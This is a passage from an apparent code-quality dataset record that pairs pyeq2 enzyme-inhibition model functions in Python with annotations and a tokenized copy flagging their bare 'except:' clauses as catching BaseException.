"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a * x_in / (b * (1.0 + y_in / c) + x_in)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.CompetitiveInhibitionB.CalculateModelPredictions",
"header": "['class', 'CompetitiveInhibitionB', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 110
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n xy = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a * xy / (b * (1.0 + y_in / c) + x_in)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.CompetitiveInhibitionC.CalculateModelPredictions",
"header": "['class', 'CompetitiveInhibitionC', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 163
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = ((a * x_in) / b) / (1.0 + x_in / b + y_in / c)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.InhibitionByCompetingSubstrateA.CalculateModelPredictions",
"header": "['class', 'InhibitionByCompetingSubstrateA', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 216
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = ((a * y_in) / b) / (1.0 + y_in / b + x_in / c)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.InhibitionByCompetingSubstrateB.CalculateModelPredictions",
"header": "['class', 'InhibitionByCompetingSubstrateB', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 268
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n xy = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = ((a * xy) / b) / (1.0 + y_in / b + x_in / c)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.InhibitionByCompetingSubstrateC.CalculateModelPredictions",
"header": "['class', 'InhibitionByCompetingSubstrateC', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 321
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n\n try:\n temp = (a * x_in / b - c * y_in / d) / (1.0 + x_in / b + y_in / d)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.MichaelisMentenProductInhibition.CalculateModelPredictions",
"header": "['class', 'MichaelisMentenProductInhibition', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 374
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n\n try:\n temp = a * x_in / (b * (1.0 + y_in / c) + (x_in * (1.0 + y_in / d)))\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.MixedInhibitionA.CalculateModelPredictions",
"header": "['class', 'MixedInhibitionA', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 427
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n\n try:\n temp = a * y_in / (b * (1.0 + x_in / c) + (y_in * (1.0 + x_in / d)))\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.MixedInhibitionB.CalculateModelPredictions",
"header": "['class', 'MixedInhibitionB', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 480
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a * x_in / ((b + x_in) * (1.0 + y_in / c))\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.NoncompetitiveInhibitionA.CalculateModelPredictions",
"header": "['class', 'NoncompetitiveInhibitionA', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 533
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a * y_in / ((b + y_in) * (1.0 + x_in / c))\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.NoncompetitiveInhibitionB.CalculateModelPredictions",
"header": "['class', 'NoncompetitiveInhibitionB', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 585
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n xy = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = (a * x_in) / (b * x_in + c * y_in + xy)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.PingPongBiBiA.CalculateModelPredictions",
"header": "['class', 'PingPongBiBiA', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 638
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n xy = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = (a * y_in) / (b * y_in + c * x_in + xy)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.PingPongBiBiB.CalculateModelPredictions",
"header": "['class', 'PingPongBiBiB', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 692
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n xy = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = (a * xy) / (b * y_in + c * x_in + xy)\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.PingPongBiBiC.CalculateModelPredictions",
"header": "['class', 'PingPongBiBiC', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 746
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a * x_in / (b + x_in * (1.0 + y_in / c))\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.UncompetitiveInhibitionA.CalculateModelPredictions",
"header": "['class', 'UncompetitiveInhibitionA', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 799
},
{
"content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a * y_in / (b + y_in * (1.0 + x_in / c))\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300",
"metadata": "root.UncompetitiveInhibitionB.CalculateModelPredictions",
"header": "['class', 'UncompetitiveInhibitionB', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']",
"index": 851
}
]
| [
{
"span": "except:",
"start_line": 69,
"start_column": 8,
"end_line": 69,
"end_column": 15
},
{
"span": "except:",
"start_line": 121,
"start_column": 8,
"end_line": 121,
"end_column": 15
},
{
"span": "except:",
"start_line": 175,
"start_column": 8,
"end_line": 175,
"end_column": 15
},
{
"span": "except:",
"start_line": 227,
"start_column": 8,
"end_line": 227,
"end_column": 15
},
{
"span": "except:",
"start_line": 279,
"start_column": 8,
"end_line": 279,
"end_column": 15
},
{
"span": "except:",
"start_line": 333,
"start_column": 8,
"end_line": 333,
"end_column": 15
},
{
"span": "except:",
"start_line": 386,
"start_column": 8,
"end_line": 386,
"end_column": 15
},
{
"span": "except:",
"start_line": 439,
"start_column": 8,
"end_line": 439,
"end_column": 15
},
{
"span": "except:",
"start_line": 492,
"start_column": 8,
"end_line": 492,
"end_column": 15
},
{
"span": "except:",
"start_line": 544,
"start_column": 8,
"end_line": 544,
"end_column": 15
},
{
"span": "except:",
"start_line": 596,
"start_column": 8,
"end_line": 596,
"end_column": 15
},
{
"span": "except:",
"start_line": 650,
"start_column": 8,
"end_line": 650,
"end_column": 15
},
{
"span": "except:",
"start_line": 704,
"start_column": 8,
"end_line": 704,
"end_column": 15
},
{
"span": "except:",
"start_line": 758,
"start_column": 8,
"end_line": 758,
"end_column": 15
},
{
"span": "except:",
"start_line": 810,
"start_column": 8,
"end_line": 810,
"end_column": 15
},
{
"span": "except:",
"start_line": 862,
"start_column": 8,
"end_line": 862,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"class_",
"Compet",
"iti",
"ve",
"In",
"hibit",
"ion",
"A_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"x",
"\\u",
"in_",
"/_",
"(_",
"b_",
"*_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"c_",
")_",
"+_",
"x",
"\\u",
"in_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Compet",
"iti",
"ve",
"In",
"hibit",
"ion",
"B_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"x",
"\\u",
"in_",
"/_",
"(_",
"b_",
"*_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"c_",
")_",
"+_",
"x",
"\\u",
"in_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Compet",
"iti",
"ve",
"In",
"hibit",
"ion",
"C_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xy_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"XY",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"xy_",
"/_",
"(_",
"b_",
"*_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"c_",
")_",
"+_",
"x",
"\\u",
"in_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"In",
"hibit",
"ion",
"By",
"Compet",
"ing",
"Substr",
"ate",
"A_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"(_",
"(_",
"a_",
"*_",
"x",
"\\u",
"in_",
")_",
"/_",
"b_",
")_",
"/_",
"(_",
"1.0_",
"+_",
"x",
"\\u",
"in_",
"/_",
"b_",
"+_",
"y",
"\\u",
"in_",
"/_",
"c_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"In",
"hibit",
"ion",
"By",
"Compet",
"ing",
"Substr",
"ate",
"B_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
